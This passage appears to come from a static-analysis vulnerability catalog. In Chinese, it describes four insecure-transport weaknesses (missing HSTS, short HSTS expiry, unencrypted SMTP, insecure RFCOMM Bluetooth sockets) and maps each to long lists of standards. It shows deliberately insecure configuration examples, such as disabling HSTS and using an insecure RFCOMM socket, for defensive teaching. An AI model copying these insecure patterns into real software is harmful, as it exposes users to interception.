[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure Transport: HSTS not Set
ABSTRACT
应用程序并未设置 HTTP 严格传输安全 (HSTS) 标头。这样会让攻击者能够用普通 HTTP 连接替换 SSL/TLS 连接,并通过执行 HTTPS Stripping 攻击来窃取敏感信息。
EXPLANATION
HTTPS Stripping 攻击是一种中间人攻击,攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接,并使用 HTTP 版本予以替换。攻击者保留所有 HTTP 替换版本的列表,以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送,从而暴露了用户名、密码和其他私人信息,但服务器仍然从攻击者接收预期的 HTTPS 流量,因此一切看似正常。
HTTP 严格传输安全 (HSTS) 是一种安全标头,它指示浏览器在标头所指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://,通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 连接。
示例:以下代码配置了受 Spring Security 保护的应用程序,以禁用 HSTS 标头:
1 | <http auto-config="true"> |
RECOMMENDATIONS
在选择的 Web 架构内启用 HSTS 标头。例如,默认情况下,Spring Security 会启用这些标头,因此无需明确启用。
REFERENCES
[1] OWASP HTTP Strict Transport Security
[2] Moxie Marlinspike sslstrip
[3] Standards Mapping - Common Weakness Enumeration CWE ID 319
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.3.1 Sensitive Private Data, 8.1.6 General Data Protection, 9.1.1 Communications Security Requirements, 9.2.2 Server Communications Security Requirements, 14.4.5 HTTP Security Headers Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[12] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[24] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[25] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure Transport: Insufficient HSTS Expiration Time
ABSTRACT
应用程序使用较短的到期时间设置 HTTP 严格传输安全 (HSTS) 标头。这样会让攻击者能够用普通 HTTP 连接替换 HTTPS 连接,并通过执行 HTTPS Stripping 攻击来窃取敏感信息。
EXPLANATION
HTTPS Stripping 攻击是一种中间人攻击,攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接,并使用 HTTP 版本予以替换。攻击者保留所有 HTTP 替换版本的列表,以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送,从而暴露了用户名、密码和其他私人信息,但服务器仍然从攻击者接收预期的 HTTPS 流量,因此一切看似正常。
HTTP 严格传输安全 (HSTS) 是一种安全标头,它指示浏览器在标头所指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://,通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 连接。
示例:以下代码配置了受 Spring Security 保护的应用程序,以使用较短的到期时间:
1 | @Override |
RECOMMENDATIONS
在设置 HSTS 时,使用 1 年到期时间(31536000 秒)。对于受 Spring Security 保护的应用程序,到期时间默认为 1 年,因此无需明确设置。
REFERENCES
[1] OWASP HTTP Strict Transport Security
[2] Moxie Marlinspike sslstrip
[3] Standards Mapping - Common Weakness Enumeration CWE ID 319
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 1.9.1 Communications Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.3.1 Sensitive Private Data, 8.1.6 General Data Protection, 9.1.1 Communications Security Requirements, 9.2.2 Server Communications Security Requirements, 14.4.5 HTTP Security Headers Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[12] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[24] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[25] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure Transport: Mail Transmission
ABSTRACT
通过与邮件服务器建立未加密的连接,允许攻击者进行中间人攻击以及读取所有邮件传输。
EXPLANATION
通过未加密网络发送的敏感数据容易被任何可拦截网络通信的攻击者读取/修改。
示例 1:以下 Spring Mailer 的配置不正确,未使用 SSL/TLS 与 SMTP 服务器进行通信:
1 | <bean id="mailSender" class="org.springframework.mail.javamail.JavaMailSenderImpl"> |
RECOMMENDATIONS
大多数现代邮件服务提供商提供了针对不同端口的加密备选方案,可使用 SSL/TLS 对通过网络发送的所有数据进行加密,或者允许将现有的未加密连接升级为使用 SSL/TLS。如果可能,请始终使用这些备选方案。
例 2:以下 Spring Mailer 已正确配置为使用 SSL/TLS 与 SMTP 服务器进行通信:
1 | <bean id="mailSender" class="org.springframework.mail.javamail.JavaMailSenderImpl"> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 200
[2] Standards Mapping - FIPS200 SC
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[7] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[15] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3260.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure Transport: RFCOMM Bluetooth Socket
ABSTRACT
应用程序创建不安全的 RFCOMM BlueTooth 套接字,从而面临 man-in-the-middle 攻击。
EXPLANATION
不安全的 RFCOMM 套接字会建立没有已验证链接密钥的通信通道,因此会面临 man-in-the-middle 攻击。 对于 Bluetooth 2.1 设备,将为链接密钥加密,因为加密是强制要求。 对于原有设备(Bluetooth 2.1 之前的设备),不会为链接密钥加密。
示例 1: 以下代码使用不安全的 RFCOMM 套接字:
1 | device.createInsecureRfcommSocketToServiceRecord(MY_UUID); |
RECOMMENDATIONS
如果需要经验证的加密通信通道,则使用 createRfcommSocketToServiceRecord(UUID)。
示例 2: 以下代码使用安全的 RFCOMM 套接字:
1 | device.createRfcommSocketToServiceRecord(MY_UUID); |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 200
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[4] Standards Mapping - FIPS200 SC
[5] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[11] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection
[22] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3260.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
